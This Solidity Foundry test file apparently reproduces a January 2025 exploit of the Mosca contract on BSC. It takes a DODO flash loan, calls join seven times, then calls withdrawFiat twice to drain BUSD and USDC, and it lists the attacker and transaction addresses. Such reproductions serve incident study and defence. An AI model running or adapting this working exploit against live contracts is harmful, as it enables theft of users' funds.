src/test/2025-01/Mosca2_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 37.6K
7// Attacker : https://bscscan.com/address/0xe763da20e25103da8e6afa84b6297f87de557419
8// Attack Contract : https://bscscan.com/address/0xedcfa34e275120e7d18edbbb0a6171d8ad3ccf54
9// Created Attack Contract: https://bscscan.com/address/0xeDcfA34E275120E7D18EDbbb0A6171d8ad3CCF54
10// Vulnerable Contract : https://bscscan.com/address/0xd8791f0c10b831b605c5d48959eb763b266940b9
11// Attack Tx : https://bscscan.com/tx/0xf13d281d4aa95f1aca457bd17f2531581b0ce918c90905d65934c9e67f6ae0ec
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xd8791f0c10b831b605c5d48959eb763b266940b9#code
15 
16// @Analysis
17// Post-mortem : 
18// Twitter Guy : 
19// Hacking God : 
20pragma solidity ^0.8.0;
21 
22import "../interface.sol";
23 
24interface IDODO {
25    function flashLoan(
26        uint256 baseAmount,
27        uint256 quoteAmount,
28        address assetTo,
29        bytes calldata data
30    ) external;
31 
32    function _BASE_TOKEN_() external view returns (address);
33}
34 
35interface IMosca {
36    function join(uint256 amount, uint256 _refCode, uint8 fiat, bool enterpriseJoin) external;
37    function withdrawFiat(uint256 amount, bool isFiat, uint8 fiatToWithdraw) external;
38}
39 
40contract Mosca2 is BaseTestWithBalanceLog {
41    uint256 blocknumToForkFrom = 45_722_243;
42    address internal constant DPP = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
43    address internal constant Mosca = 0xd8791F0C10B831B605C5D48959EB763B266940B9;
44    address internal constant BUSD = 0x55d398326f99059fF775485246999027B3197955;
45    address internal constant USDC = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
46 
47    function setUp() public {
48        vm.createSelectFork("bsc", blocknumToForkFrom);
49        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
50        fundingToken = address(USDC);
51    }
52 
53    function testExploit() public balanceLog {
54        uint256 baseAmount = 0;
55        uint256 quoteAmonut = 7_000_000_000_000_000_000_000;
56        address assetTo = address(this);
57        bytes memory data = abi.encode("0xdead");
58        IDODO(DPP).flashLoan(baseAmount, quoteAmonut, assetTo, data);
59    }
60 
61    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
62        IERC20(BUSD).approve(Mosca, type(uint).max);
63        IERC20(USDC).approve(Mosca, type(uint).max);
64        for(uint256 i=0;i<7;i++) {
65            uint256 amount = 1_000_000_000_000_000_000_000;
66            uint256 _refCode = 0;
67            uint8 fiat = 1;
68            bool enterpriseJoin = false;
69            IMosca(Mosca).join(amount, _refCode, fiat, enterpriseJoin);
70        }
71 
72        IMosca(Mosca).withdrawFiat(18_671_180_855_284_200_248_407, false, 1);
73        IMosca(Mosca).withdrawFiat(26_648_013_000_000_000_000_000, false, 0);
74 
75        IERC20(BUSD).transfer(DPP, quoteAmount);
76    }
77}